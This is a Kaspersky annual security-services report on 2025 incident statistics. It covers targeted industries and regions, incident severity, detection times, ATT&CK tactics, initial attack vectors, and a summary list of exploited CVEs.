

Global Report by Kaspersky Security Services

Anatomy of a Cyber World



kaspersky

2026

Contents



Executive summary

Effectively prioritize your investment in cybersecurity through understanding your adversaries and the attack methods targeting your industry and region.

Top targeted regions


CIS 46% Europe 21% APAC 12%




Top targeted industries



Government
19%



Industrial
17%



IT
15%

Government and Industrial retain their ongoing status as the most attractive targets for adversaries, while the IT sector has now overtaken Finance as one of the current top 3 targeted industries.

Managed Detection and Response (MDR) services detect attacks at early stages, preventing their development to impact.

Mean time to report MDR incidents by severity

High 42 min

Medium 33 min

Low 31 min

Top categories of high-severity incident detected by MDR¹

APT 24%

Social engineering 15%

Malware 12%

Most popular MITRE ATT&CK techniques observed by MDR

T1098: Account Manipulation 22%
TA0003: Persistence

T1566: Phishing 15%
TA0001: Initial Access

T1204: User Execution 12%
TA0002: Execution

Recommendations

Implement corporate threat exposure management

Establish role-based access control

Regularly back up all critical data and store backups securely

Establish corporate security awareness program

Security operations metrics derived from Incident Response (IR) practice.

Initial attack vectors

Exploit in public-facing application 44%

Valid accounts 25%

Trusted relationship 16%

Top types of resulting damage

Data encrypted for impact 39%

Persistence installed for future impact 12%

Exfiltration over web service 7%

Attack duration and time needed for IR

Rapid 51%
<1 day
20h to respond

Average 16%
~ 19 days
50h to respond

Long-lasting 33%
~ 108 days
100h to respond

¹ This report analyses MDR statistics to provide a clearer view of the threat landscape based on high-severity incidents. Red teaming and security policy violation incidents are excluded from the TOP-3 three rankings because they do not represent genuine attacks by motivated external threat actors. Instead, they reflect either legitimate security exercises or internal misuse.

Chapter I

Introduction



Introduction

The "Anatomy of a Cyber World" Kaspersky Security Services Global Report 2026 is based on incident statistics from the following Kaspersky services: Managed Detection and Response, Incident Response, Compromise Assessment and SOC Consulting². All these sources working together provide a comprehensive view of different aspects of corporate information security worldwide.



Kaspersky Managed Detection and Response

[Learn more](#)

An expert-led service offering round-the-clock monitoring, detection, investigation and a rapid response to sophisticated cyberattacks — augmenting your existing security controls with human-led detection and global threat intelligence.



Kaspersky Incident Response

[Learn more](#)

Provides a comprehensive and detailed analysis of security incidents. The service covers the entire investigation and response process, including initial response, evidence collection, identifying the primary attack vector, performing root cause analysis and developing a containment, eradication, and remediation plan.



Kaspersky SOC Consulting

[Learn more](#)

A portfolio of services tailored to building an in-house SOC from scratch, assessing the maturity of an existing SOC or improving specific SOC capabilities such as detection or response procedures.



Kaspersky Compromise Assessment

[Learn more](#)

A service that focuses on uncovering active cyberattacks as well as previous unknown attacks that have flown under the radar of existing IT security tools and processes.

This report sheds light on the most prevalent attacker tactics, techniques and tools, as well as the characteristics of detected incidents and their distribution across regions and industry sectors among our MDR and IR customers.

Who are your potential attackers?

What methods are they using today?

How can their activities be effectively detected?


² Selected statistics from Kaspersky Compromise Assessment and Kaspersky SOC Consulting services are included in the report for the first time.

The scope of MDR and IR services

For a more objective interpretation of the report data, it's crucial to understand the scope of the data provided, particularly as security incidents have their own geographical and industrial specifics.


Kaspersky's MDR and IR services are provided worldwide — the actual geographical distribution is shown in Figure 1. The majority of clients are located in CIS, META and Europe.

Figure 1 Distribution of customers by geographical region



Every organization today is vulnerable to cyberattack, as reflected in incident statistics across different industries. Figure 2 shows the distribution across industry sectors of all high-severity incidents reported (those usually requiring IR engagement), and of medium- and low-severity incidents (those that can generally be remediated through automated means).

Figure 2 Distribution of all incidents by industry sector



MDR telemetry processing pipeline


Organizations worldwide used Kaspersky MDR in 2025. The MDR infrastructure continuously receives and processes telemetry events, generating security alerts that are first processed by AI powered detection logic, then analyzed by the Kaspersky SOC team as required.

Figure 3 MDR telemetry processing pipeline

~ 15,000

telemetry events were received per host each day.


This number varied significantly day by day and host by host, depending on host activity and sensor type.



~ 400,000

alerts were generated last year


After initial AI-driven processing, more than 95,000 alerts — nearly 24% — were automatically resolved, significantly reducing the workload on SOC analysts



~ 300,000

alerts were handled by SOC analysts

SOC analysts filtered out around 87% of alerts as non-actionable³



> 39,000

alerts were further investigated

~21,000

incidents were then reported to customers


³ We distinguish between two main types of false positives: (1) Infrastructure — the logic for creating an alert is correct, but due to the configuration of the customer's infrastructure, this alert is not a consequence of an incident and is related to legitimate activity. (2) Technological — the logic for creating an alert does not work correctly and requires adjustment.

Reasons for requesting Incident Response

In most cases, including high-severity incidents, the technical capabilities of Kaspersky MDR will be sufficient for successful remediation. The only exception is an active human-driven attack, where human expertise is applied through manual in-depth Incident Response to supplement technical capabilities. Taking into account organizations without an MDR subscription, the statistics below show why Kaspersky IR was requested in cases where real attacks had been confirmed.




Some requests received for the Kaspersky IR service were due to false alarms – 7.4% of all investigations in 2025. These false alarms related to:



Suspicious activities on endpoints and in the network made up 75% of all false alarms. Suspicious activity was also a reason given in more than half of all requests for IR resulting in damage in 2025.

Figure 4

Reasons for requesting Kaspersky Incident Response services by region



Security Operations maturity

It's very important to detect adversaries in the network as soon as possible — damage can be avoided or mitigated if an attack is detected in the earlier stages. In IR practice, we observe certain tendencies depending on the cybersecurity maturity level of the organization. We find that IR customers can be roughly divided into two groups according to the resultant damage.



Group I

Organizations typically become aware of an attack when it has already occurred and the damage is evident.

Data encrypted for impact	39.4%
Exfiltration over web service	7.3%
Data destruction	4.4%
Service stop	4.4%
Automated exfiltration	2.2%
Resource hijacking	2.2%
System shutdown/reboot	1.5%
Financial theft	1.5%
Network denial of service	1.5%
Exfiltration over alternative protocol	1.5%
Internal defacement	0.7%
Inhibited system recovery	0.7%
Endpoint denial of service	0.7%
Exfiltration over other network media	0.7%
Computer hijacking	0.7%
Account access removal	0.7%
Disk wipe	0.7%



Group II

Organizations detected the presence of adversaries or observed suspicious activities and requested IR investigation before damage was caused.

Persistence installed for future impact	11.7%
None (attack prevented or not completed)	8.8%
None (false alarm)	5.8%
Active Directory compromised	2.9%

Chapter II

Incident severity



Incident severity

Reported incidents are categorized by their level of severity⁴:

High

A human-driven attack or malware threat with a potential or actual significant impact on the customer's IT systems.

Medium

No evidence of direct human involvement in the attack. May impact customer IT systems, but without severe consequences.

Low

No significant impact on customer IT systems. However, there are measures which need to be taken.

During 2025, up to three high-severity incidents were detected on average by MDR every day. While 2021 saw the highest percentage of all incidents falling into the high-severity category, the trend over subsequent years has shown a decline in high-severity incidents as a percentage of incidents overall.

Figure 5 Incident severity levels in 2025





Figure 6 Incident severity levels over previous years




The six-year incident data reveals a distinct and sustained downward trend in the proportion of high-severity incidents, going down from a peak of 14.3% in 2021 to just 3.8% in 2025. Because high-severity incidents are typically related to human-driven attacks, this drop likely reflects improved defense mechanisms specifically aimed at this type of activity, such as enhanced endpoint protection, efficient threat hunting, and faster incident response that disrupt adversaries before they can cause major damage.

At the same time, the combined share of Medium and Low incidents has risen, accounting for more than 96% of all cases by 2025. Given that these categories are defined by automated malware attacks or non-critical issues, this trend points to a "flooding" effect where organizations are now dealing with a larger volume of opportunistic, low-level threats, as well as advanced threats detected at very early stages before they have been attributed to any known APT campaign.


⁴ In MDR, only incidents that require any action from the customer side are reported. If an incident does not require any response, such incidents are not reported.

Figure 7 Incident severity level by industry



High-severity attacks on IT businesses in 2025 (5.8%) and in previous years suggest supply-chain⁵ targeting and exploitation of trusted relationships⁶. Government sector compromises (5.7%) reflect ongoing global geopolitical tensions. Education (4.3%) is also concerning due to weaker security postures and large volumes of PII that could be used to attack other organizations. Finance (3.6%) consistently appears among the most attacked industries because of potential financial gains. Mass Media shows high levels of medium-severity incidents due to techniques like phishing with malicious payloads that can usually be remediated before damage spreads.

Figure 8 Incident severity level by industry compared to the previous year



Industry analysis of 2024-2025 incident data shows shifts in severity distribution. The Education sector saw the biggest change, with Medium incidents rising 22.1% (62.7% to 84.8%), while Low category incidents fell by 23.4%, suggesting more systemic but non-critical issues, mainly misconfigurations and social engineering attempts remediated by endpoints. Government and IT recorded drops in High-severity incidents (3.0% and 4.7%), although High shares remain relatively large. In IT, this decline in Highs coincided with more Medium incidents, possibly reflecting improved resilience and detection.

⁵ Supply Chain Compromise

⁶ Trusted Relationship

Chapter III

Attack detection



The attack detection process

The incident detection process consists of several steps:

- 1 A specialized system assigns a generated alert to the personal queue of an available SOC analyst.
- 2 The analyst processes the alert based on its severity and the guaranteed Service Level Agreement time to notify and react a threat.
- 3 Alert analysis results in one of the following 3 outcomes:
 - If the alert is determined to be a false positive, it is closed and filters are created at either the customer or global level.
 - If the alert is assessed as suspicious / malicious and no related incident is open, a new incident is created and reported to the customer through the MDR portal, along with the recommended response actions.
 - If a related incident is already open for the same customer, host and/or similar suspicious behavior, the alert is merged into the existing incident and the case is updated accordingly.
- 4 If the client approves the recommended response, the endpoint agents automatically implement this.

Figure 9 Average time taken to detect and report an incident


Severity		Time to report	Comments
High		42.1 min	2024: 53.9 min 2023: 36.4 min 2022: 43.7 min 2021: 41.4 min 2020: 52.6 min The most complex incidents require more time to collect additional information and build an incident timeline. In 2025, this time decreased by approximately 22% compared to previous periods, reflecting the nature of high-severity incidents during the year and efficiency gains from further automation.
Medium		32.6 min	2024: 41.0 min 2023: 32.5 min 2022: 30.9 min 2021: 34.8 min 2020: 21.1 min Medium-severity incidents made up the majority of all incidents, and most of these were caused by malware activity, where fully automated remediation proved highly efficient. The time required to detect and report decreased by 21% compared to 2024.
Low		30.7 min	2024: 37.9 min 2023: 48.0 min 2022: 34.1 min 2021: 40.2 min 2020: 30.2 min Incidents with the lowest severity were mainly related to the consequences of potentially unwanted software. In most cases, processing these incidents was largely automated, and in 2025 more automation was introduced.

Fortress under fire: cyber threat chronicles 2024




[Get the report](#)

The 2023 cyber-hunting season




[Get the report](#)

Above and below the cyber-horizon, 2022



[Get the report](#)

A cyber-odyssey in 8-bit, 2021



[Get the report](#)

Shadows & clues in cybersecurity, 2020



[Get the report](#)

Attack detection and response among IR customers

For clients without MDR protection, the attack duration picture is very different. It can take days, weeks and even months before an attack is detected.



Rapid
hours and days

Major high-velocity ransomware attacks that present the biggest challenge even for mature security operations. **Mostly noisy adversary behavior building up on low-hanging fruit** — publicly available and easily identifiable security issues.



Average
weeks

Ransomware attacks often appear similar to rapid attacks at first, but there is usually a significant delay between initial access and later stages.



Long-lasting
a month and more

Irregular periods of active and passive phases during the attack. The duration of active phases is very similar to the previous (average) group.

Percentage of attacks

50.9%

16.1%

33.0%

Initial vectors

- Valid accounts
- Exploit public-facing application
- Trusted relationship

- Exploit public-facing application
- Valid accounts
- External remote services

- Exploit public-facing application
- Trusted relationship
- Valid accounts

Average attack duration (median)

<1 day

19 days

108 days

Incident Response duration (median)

20 hours

50 hours

100 hours

Damage

- Files encrypted

- Files encrypted
- Persistence installed for future attack


- Files encrypted
- Persistence installed for future attack
- AD compromised
- Data leakage

To learn more about IR practice throughout the years, download our previous reports.

Fortress under fire: cyber threat chronicles 2024


[Get the report](#)

The 2023 cyber-hunting season


[Get the report](#)

Above and below the cyber-horizon, 2022


[Get the report](#)

A cyber-odyssey in 8-bit, 2021


[Get the report](#)

Shadows & clues in cybersecurity, 2020


[Get the report](#)

Chapter IV

The nature of high-severity incidents



The nature of high-severity incidents

Classification based on incident severity alone is too approximate, which is why we also classify incidents based on their source. In this section we'll discuss this classification, but only for high-severity incidents.

The following types of high-severity incident are distinguished in MDR:



A targeted attack, or any form of human-driven suspicious activity in general, is simply called an Advanced Persistent Threat or **APT**.



If any artefact relating to a previous human-driven attack, such as traces of specialized tools such as parts of Meterpreter or Cobalt Strike beacon, is found — this incident is classified as **APT traces**.



Because MDR collects some inventory data from endpoints, the information about vulnerable applications and operating system components on the endpoint is available. If any critical vulnerability is observed, the high-severity incident is reported with the additional classification **Vulnerability**.



Where malware activity without any active human participation is observed, but the potential or actual impact of this attack is of high-severity — as in a Ransomware outbreak, for example — the incident is classified as **Malware**.



A **Social Engineering** incident is classified as high-severity if it was successful and led to further attack development, and was not automatically remediated. This usually means that a user has clicked on a malicious link, launched an attachment or similar. Recommendations here will usually include conducting security awareness sessions with users.



If suspicious human-driven activity is observed, but confirmation of legitimacy is received from the MDR customer, the incident is classified as **Red Teaming**. This can be any sort of security assessment or cyber exercise. This also can be treated as an infrastructure false positive, as the activity is not by its nature malicious. In most cases, however, customers specify that MDR should report such activity as an incident.



If the customer directly confirms that the reported suspicious activity was from a malicious insider, the incident is classified as **Insider**.



An incident is classified as a **Policy Violation** when a legitimate account undertakes a suspicious activity, such as data exfiltration, without any signs that the account has been compromised.

Now, let's look at the distribution of victim numbers in specific incident types.

Main causes of high-severity incidents

Figure 10 Frequency of different types of high-severity incident





Figure 11 The percentage of organizations where high-severity incidents were observed, by type



In 2025, Kaspersky MDR statistics reveal that human-driven attacks, including malicious APT activity and customer-approved Red Teaming exercises, were the dominant cause of high-severity incidents, collectively accounting for nearly 47% of all such cases. This predominance reflects a strategic evolution in the threat landscape: adversaries increasingly favor hands-on-keyboard operations over automated malware to achieve specific, high-impact objectives. Simultaneously, the substantial proportion of exercises classified as high-severity indicates that organizations are rigorously testing their defenses against realistic intrusion scenarios.

Social engineering ranked as the third most common cause, responsible for over 15% of high-severity incidents. Its persistence highlights a fundamental vulnerability: technical controls alone cannot fully mitigate the human factor, making phishing and pretexting reliable initial access vectors for attackers.


Notably, malware attacks without observed active human participation comprised only 11% of incidents, suggesting improved endpoint prevention. **However, severe security policy violations (over 13%) indicate that misconfigurations and unauthorized actions continue to create significant risk.** The minimal share for vulnerability detection (under 5%) stems from MDR's focus on active threats, not proactive scanning, while the near absence of confirmed insider threats (under 1%) confirms their rarity relative to external human-driven activity.

During 2025, no detected DOS attacks were classified as high-severity incidents.

High-severity incidents by industry

Let's now look at the distribution of high-severity incidents by type in different industries, as shown in the graph below.

Figure 12 Number of high-severity incidents by type and industry



In 2025, industry-specific threat patterns reflected varying attack surfaces and security postures. The IT and Government sectors faced the highest rates of human-driven targeted attacks (41.0% and 33.3% respectively), as adversaries prioritize intellectual property, geopolitical intelligence and capabilities for future supply chain and trusted relationships exploitations. Conversely, Mass Media experienced no such attacks but led in social engineering (33.3%), **suggesting attackers view media employees as initial access vectors for future attack development.**

Red teaming dominated in regulated sectors: Telecom (50.0%), Healthcare (46.2%) and Finance (36.1%), where compliance mandates drive security validation. Finance's low genuine attack rate (11.5%) indicates defensive deterrence, while its minimal APT traces (1.6%) suggest effective threat hunting.


Malware prevalence peaked in Development (37.5%), Healthcare (32.1%) and Education (22.2%) sectors, prioritizing availability and speed over security controls. Education's critical vulnerability incidents (29.6%) reflect constrained resources and diverse IT infrastructures.

Insider threats, though rare, were concentrated in Development (6.3%) and Retail (4.8%), where employees access sensitive systems with financial motivations.

The number of organizations experiencing high-severity incidents by industry

This graph shows the percentage of MDR customers in each industry who have encountered high-severity incidents of each type.

Figure 13 Number of MDR customers that experienced high-severity incidents by industry



In 2025, sector-specific exposure patterns reflect underlying operational realities. Telecom, Government and IT faced the highest rates of human-driven attacks (66.7%, 65.0% and 59.1%) due to their strategic value as critical infrastructure and data hubs. Attacks on IT and Telecom confirm the growing exploitation of trusted relationships and supply chains.

Malware concentrated in Education (57.1%), Development (55.6%) and Healthcare (42.9%) — sectors where legacy systems, unmanaged devices or rapid development cycles create persistent vulnerabilities that automated attacks exploit.

Social engineering affected 45.0% of government bodies, followed by Education (42.9%) and Finance (30.8%). Government employees face sophisticated credential-harvesting campaigns, while Education's open culture and Finance's high-value transactions enable effective pretexting.

Red teaming adoption peaked in Telecom (66.7%), Food (62.5%) and Finance (50.0%), where regulated industries proactively validate defenses through authorized simulations. The most mature sectors — Telecom and Finance — correctly assess risks and strive to be proactively prepared to repel targeted human-driven attacks.

Critical vulnerability incidents hit Government (25.0%), Education (14.3%) and Food (12.5%) hardest — sectors where resource constraints or operational technology dependencies delay patching, leaving systems exposed longer than in better-resourced industries.

The most common vulnerabilities

The chart below illustrates the share of vulnerabilities exploited in 2025, grouped by the year they were first disclosed⁷.

Figure 14 Vulnerabilities from previous years that were exploited in 2025



As in the previous year, the most prevalent vulnerabilities found in our dataset for 2025 were related to Microsoft's products (Windows, Exchange, Active Directory, SharePoint), such as CVE-2021-1732, CVE-2021-41379, CVE-2021-42287, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2023-24955, CVE-2023-29357, and CVE-2024-38094.

We also found an increase in the number of vulnerabilities targeting Oracle and Fortinet software, such as Oracle E-business suite and Fortinet FortiOS. Vulnerabilities targeting SAP NetWeaver were also found in the wild. What caught our attention is that the **majority of the CVEs have easy PoCs available in public platforms and do not require complex conditions to be executed.**

50% of the vulnerabilities identified in our Incident Response engagements lead to Remote Code Execution (RCE) – in some cases without authentication, which significantly increases overall risk. Another trend is local and domain-level privilege escalation – particularly via vulnerabilities in the Windows Installer software and in the Linux PolicyKit framework.

Common weakness patterns include insecure deserialization (CWE-502), improper authentication / authorization (CWE-287/288), path traversal (CWE-22), unrestricted file upload (CWE-434), and server-side request forgery (CWE-918), all of which can directly lead to system takeover. These are flaws that could have been mitigated by the use of secure coding practices (such as by performing static code analysis and automated dynamic analysis), evidencing that developers should pay more attention to security during all phases of the development lifecycle, adopting security and privacy by design schemes. In addition, customers must ensure regular updates and security patches.

⁷ The data about vulnerability exploitation provided in this section is taken from IR service statistics.

Full list of used CVEs

Oracle WebLogic Server

CVE-2019-2725

CVSS 9.8 CRITICAL

CWE-74

Remote Code Execution (RCE)

Easily exploitable vulnerability on Oracle WebLogic Server component that allows an unauthenticated user to perform remote code execution.

Windows Win32k

CVE-2021-1732

CVSS 7.8 HIGH

CWE-787

Privilege Escalation

Vulnerability in the Win32k that allows an attacker to escalate privileges from a normal user account to NT AUTHORITY\SYSTEM.

PolicyKit

CVE-2021-4034

CVSS 7.8 HIGH

CWE-125 & CWE-787

Privilege Escalation

Local privilege escalation in the PolicyKit authorization toolkit, used for allowing unprivileged process to speak to privileged processes. A successful attack can give unprivileged users administrative rights on the target machine.

Windows Installer

CVE-2021-41379

CVSS 7.8 HIGH

CWE-59

Privilege Escalation

Takes advantage of flaws in the Windows Installer service to allow local arbitrary code execution as SYSTEM.

Active Directory Domain Services

CVE-2021-42287

CVSS 8.8 HIGH

Privilege Escalation

A vulnerable Domain Controller (DC) affected by this vulnerability will return a Ticket Granting Ticket (TGT) without a Privileged Attribute Certificate (PAC).

Microsoft Exchange Server

CVE-2021-26855

CVSS 9.8 CRITICAL

CWE-918

Remote Code Execution (RCE)

Allows an attacker to bypass the authentication and impersonate the admin user. An unauthenticated attacker can execute arbitrary commands on MS Exchange Server.

Microsoft Exchange Server

CVE-2021-26857

CVSS 7.8 HIGH

CWE-502

Remote Code Execution (RCE)

Insecure deserialization vulnerability in the Unified Messaging service that allows an attacker to run code as SYSTEM on the Exchange Server.

Microsoft Exchange Server

CVE-2021-26858

CVSS 7.8 HIGH

Remote Code Execution (RCE)

Post-authentication arbitrary file write vulnerability in MS Exchange. A successful exploitation of this vulnerability allows an attacker to write a file to any path on the server.

Microsoft Exchange Server

CVE-2021-27065

CVSS 7.8 HIGH

CWE-22

Remote Code Execution (RCE)

A remote attacker can exploit this vulnerability to disclose data or execute arbitrary code in the context of the application via a crafted HTTP request.

Bitrix Site Manager

CVE-2022-27228

CVSS 9.8 CRITICAL

CWE-20

Remote Code Execution (RCE)

Vulnerability in the "Polls, Votes" module of Bitrix Site Manager that allows a remote, unauthenticated attacker to execute arbitrary code.

Cisco Adaptive Security Appliance

CVE-2023-20269

CVSS 9.1 CRITICAL

CWE-863 & CWE-288

Unauthorized Access

Vulnerability in the VPN feature of Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) that allows an unauthenticated, remote attacker to establish a clientless SSL VPN session with an unauthorized user.

Microsoft SharePoint Server

CVE-2023-24955

CVSS 7.2 HIGH

CWE-94

Remote Code Execution (RCE)

Allows an authenticated Site Owner to execute code on the affected SharePoint Server.

Microsoft SharePoint Server

CVE-2023-29357

CVSS 9.8 CRITICAL

CWE-303

Privilege Escalation

Allows an attacker to execute arbitrary code in the context of the SharePoint application pool and the SharePoint Server farm account. Often used in chain with CVE-2023-24955.

J-Web of Juniper Networks Junos OS

CVE-2023-36845

CVSS 9.8 CRITICAL

CWE-473

Remote Code Execution (RCE)

PHP environment variable manipulation vulnerability that allows RCE on the affected equipment.

Microsoft SharePoint

CVE-2024-38094

CVSS 7.2 HIGH

CWE-502

Remote Code Execution (RCE)

SharePoint deserialization vulnerability that allows an attacker execute arbitrary code in the affected SharePoint server.

Fortinet FortiOS

CVE-2024-55591

CVSS 9.8 CRITICAL

CWE-288

Authentication Bypass

Allows a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.

CommuniGate Pro Mail Server

BDU:2025-01331

Not defined

CWE-121

Failure to take measures to neutralize special elements, allowing an intruder operating remotely to execute arbitrary code.

TrueConf Server

BDU:2025-10116

Not defined

CWE-78

Remote Code Execution (RCE)

Insufficient access control that allows an attacker to send requests to certain administrative endpoints without permission checks.

Fortinet FortiOS

CVE-2025-24472

CVSS 8.1 HIGH

CWE-288

Authentication Bypass

Allows a remote unauthenticated attacker with prior knowledge of upstream and downstream devices' serial numbers to gain super-admin privileges on the downstream device under certain conditions.

SAP NetWeaver

CVE-2025-31324

CVSS 9.8 CRITICAL

CWE-434

Unrestricted File Upload

SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries.

SAP NetWeaver

CVE-2025-42999

CVSS 9.1 CRITICAL

CWE-502

Remote Code Execution (RCE)

Affected versions of NetWeaver do not handle deserialization of untrusted data securely, which can allow RCE by a privileged user.

Oracle E-Business Suite

CVE-2025-61882

CVSS 9.8 CRITICAL

CWE-287

Remote Code Execution (RCE)

Vulnerability in the Concurrent Processing product of Oracle E-Business Suite. When exploited, allows an unauthenticated attacker to take over the service.

Oracle E-Business Suite

CVE-2025-61884

CVSS 7.5 HIGH

CWE-22

Server-Side Request Forgery (SSRF)

SSRF vulnerability that can be exploited by a remote, unauthenticated adversary. Successful attacks can result in unauthorized access to critical data or complete access to all Oracle Configurator accessible data.

ThrottleStop.sys

CVE-2025-7771

CVSS 8.7 HIGH

CWE-782

Local Privilege Escalation

ThrottleStop.sys exposes two IOCTL interfaces that allow arbitrary read and write access to physical memory. This insecure implementation can be exploited by a malicious user-mode application to patch the running Windows kernel and invoke arbitrary kernel functions with ring-0 privileges.

Chapter V


Adversary tactics



Adversary tactics

MDR enables the detection of incidents at different attack stages. While most incidents progress through all stages of an attack (as outlined by MITRE ATT&CK tactics), the diagram below highlights the earliest tactics associated with the alerts for each incident.

Figure 15 Adversary tactics



Adversary tactics that Kaspersky uses to detect incidents



TA0043: Reconnaissance

Incidents detected at this stage are mainly related to various types of scans. The severity of these incidents depends on the goals of the scan. Incidents classified as high-severity are typically related to successful spear phishing that leads to further attack development or to known APT campaigns.



TA0042: Resource Development

Incidents attributed to this tactic are primarily associated with the detection of malicious or unwanted software with no signs of its execution. The severity of these incidents is determined by the classification of the detected tools.



TA0001: Initial Access

The vast majority of incidents detected at this stage involve phishing emails containing various types of malicious object, classified as medium severity. Incidents include successful social engineering attacks, remote service compromises leading to further attack development, and activities attributed to known targeted attacks.

Low severity incidents are usually phishing attempts that have clicked on by users and therefore reported, but did not lead to any impact due to successful automatic remediation.



TA0002: Execution

Because launching specialized attack tools is noisy, the largest number of high-severity incidents are detected at this stage. In general, the severity of the incident is determined by the classification of the executed tool.

Attack detection	The nature of high-severity incidents	Adversary tactics	Adversary techniques and tools	SOC detection effectiveness
	TA0003: Persistence	Incidents at this stage include the substitution of accessibility features, suspicious or unsafe network resources configurations, and bootkits. High-severity is assigned when there is clear evidence of active human attacker involvement. Medium- and low-severity incidents are registered based on potential impact. Most low severity incidents detected here involve account manipulation, such as the enablement of local admin or guest accounts.		
	TA0004: Privilege Escalation	The vast majority of incidents where this was the earliest tactic is adding an account to various privileged groups, such as Domain Admins, Enterprise Admins, etc. This includes incidents related to the use of specialized tools for privilege escalation which were detected either as separate files and already loaded into system memory by EPP. It also covers detection of vulnerable drivers, changes to UAC configurations or attempts to bypass the UAC.		
	TA0005: Defense Evasion	A relatively small percentage of incidents are detected at this stage, but the variety of activities detected is extensive. Examples include suspicious SPN settings on a host, scheduled tasks masquerading as legitimate Windows components, log deletion, alteration of driver digital signature checks, use of different LOLBins ⁹ and attempts to modify endpoint configurations. The proportion of false positives here is the lowest, as the detected techniques and tools are rarely associated with legitimate activity.		
	TA0006: Credential Access	The vast majority of incidents related to this tactic are attempts to access LSASS process memory, dumps of sensitive registry hives, detects on different types of keyloggers, brute force or password spraying attempts. As with TA0005, incidents identified here are rarely false positives, with the exception of some types of confirmed cyber exercises.		
	TA0007: Discovery	Incidents detected at this stage are primarily related to various types of internal network scan, Active Directory configuration discovery or the detection of the use of specialized tools – Bloodhound ⁹ is one example.		
	TA0008: Lateral Movement	As Lateral Movement has a low false positive rate, it's a promising tactic for planning the development of new IoAs, the only problem being infrastructure false positives due to the legitimate activity of IT staff. The vast majority of incidents are related to network remote exploitation attempts and different anomaly-based detections of suspicious network logins using legitimate credentials.		
	TA0009: Collection	Observed activity at this stage is based on the detection of special tools. Some incidents can also be identified by an anomaly detection engine. Detection can be very challenging here due to difficulties in distinguishing legitimate from malicious activities.		
	TA0010: Exfiltration	During 2025, very few incidents were detected at this stage. Detected incidents are extremely difficult to distinguish from TA0011, as the most common scenario is T1041: Exfiltration over C2 channel ¹⁰ using standard application layer protocols. Incidents are attributed to this tactic when the evidence is clear – such as specific command-line activity indicating that an action has involved exfiltration.		
	TA0011: Command and Control	The vast majority of detections at this stage were based on Threat Intelligence: access to a malicious resource. The severity of the incident is determined by the known purpose of C2 – if it's associated with an APT, the incident is classified as high-severity. Detects of known C&C frameworks like Cobalt Strike ¹¹ , Sliver ¹² , MSF ¹³ etc also fall into this category.		
	TA0040: Impact	In this tactic, most incidents are identified through the detection of specific malware when earlier detection and response isn't possible. During 2025, the vast majority of incidents that reached this stage were related to either the detection of crypto-miners or ransomware.		

8 [Living off the Land Binaries, Scripts and Libraries](#)

9 [MITRE ATT&CK, S0521 BloodHound](#)

10 [MITRE ATT&CK, T1041 Exfiltration Over C2 Channel](#)

11 [MITRE ATT&CK, S0154 Cobalt Strike](#)


12 [MITRE ATT&CK, S0633 Sliver](#)

13 [Github, Rapid7, Metasploit framework](#)

Initial attack vectors

Threat detection in MDR is limited to the use of sensors that are either endpoints or the Kaspersky Anti Targeted Attack (KATA) platform, so MDR cannot be expected to detect an attack before malicious traffic or activity reaches the supported sensor. In case of IR, detection sensors are not a limitation, so initial vector statistics are more representative, especially bearing in mind that IR statistics cover incidents that in most cases have already resulted in impact, whereas incidents detected by MDR were in most cases prevented before actual damage was done to the target infrastructure. Below are initial vector statistics taken from IR cases.

Figure 16 Percentage of total IR investigated cases




Sometimes these vectors are used as links in the same chain. Organizations that are later used to compromise other companies through trusted relationship have themselves been initially breached through the exploitation of public-facing applications. In recent years, we had many cases where attackers first hacked service providers or IT integrators and then used that access to attack their customers.

The problem is further compounded by the fact that many service providers are relatively small companies that deliver services such as setting up and maintaining accounting software or developing and maintaining websites. These businesses often lack dedicated cybersecurity expertise, as well as the resources to deploy and manage security solutions. As a result, a breach of this type of company can lead to the compromise of its customers, since they are likely to have remote access to their clients' systems, which attackers can exploit. At the same time, from the customer's perspective, activity originating from a trusted contractor may appear legitimate, allowing attackers to gain access to networks of new victims easily.

This year we also observed the development of attacks through trusted relationships. In one case, we discovered that adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.


Over the past seven years, the top three initial attack vectors have remained relatively stable. While valid accounts and public-facing applications have consistently been the most attractive entry points, the third position has shifted. Malicious email was previously a common initial vector, but has been replaced by trusted relationships. Notably, malicious emails disappeared entirely from our observations as an initial access vector in 2023, coinciding with the rise of trusted relationship attacks, which first emerged in 2021 but only entered the TOP-3 in 2023.

Figure 17 TOP-3 initial attack vectors, 2019-2025




Attackers may have different goals depending on their motivation. Some want to disrupt business operations, others seek to steal important information, and some loudly declare themselves, but all rely on similar techniques. In many cases, victim organizations share common characteristics in their infrastructure and the technical solutions they use.

Figure 18 Initial attack vectors and resulting damage based on IR investigations



As in previous years, easily the most prevalent form of damage caused by cyberattacks is data encryption, initiated through exploited public-facing applications, valid accounts, trusted relationships and external remote services. Ways to mitigate the risk of such attacks include the implementation of timely patch management, having an effective password policy and using multifactor authentication, and limiting contractor access.

Figure 19 Initial vector and attack duration




How long attackers stay in the network undetected is dependent not on the initial vector, but on the maturity of information security in the organization. Attackers who have penetrated network through a public-facing application exploit, for example, might stay undetected for days, weeks, months or years.

Adversary tactics and detection technologies

Kaspersky MDR uses a number of different sensors:


- Endpoint protection platform (EPP), endpoint detection and response (EDR)
- Network intrusion detection system (IDS) Part of Kaspersky Anti Targeted Attack (KATA)
- Sandbox (SB)
- Others – incidents reported by customers



In this report, IDS verdicts that are part of EPP are counted as endpoint alerts.

In many cases, incidents were detected using multiple types of sensor. However, for the purposes of the diagram below, we count only the first alert detected and used by the SOC analyst to form the incident. So while most incidents are detected by EPP, this doesn't necessarily mean that these could not also have been detected by the IDS or Sandbox as part of KATA. Incident statistics show that **network IDS complements EPP even in scenarios where the endpoint sensor appears to be the most obvious detection method** – e.g. TA0040: Impact or TA0006: Credential Access.

Figure 20 Proportion of incidents initially detected by different types of sensor



The high level of efficiency of the sandbox at the TA0001: Initial Access stage is driven by KATA's common use case of detecting phishing attacks at the network perimeter. The network IDS is efficient at the TA0011: Command and control stage. IDS also works to detect network scans, which explains its presence in stages TA0043: Reconnaissance, TA0006: Credential Access and TA0007: Discovery. Several incidents on TA0001: Initial Access were also detected by IDS. A small number of the incidents detected by IDS on TA0042: Resource Development and TA0002: Execution are based on known typical communications with C2.

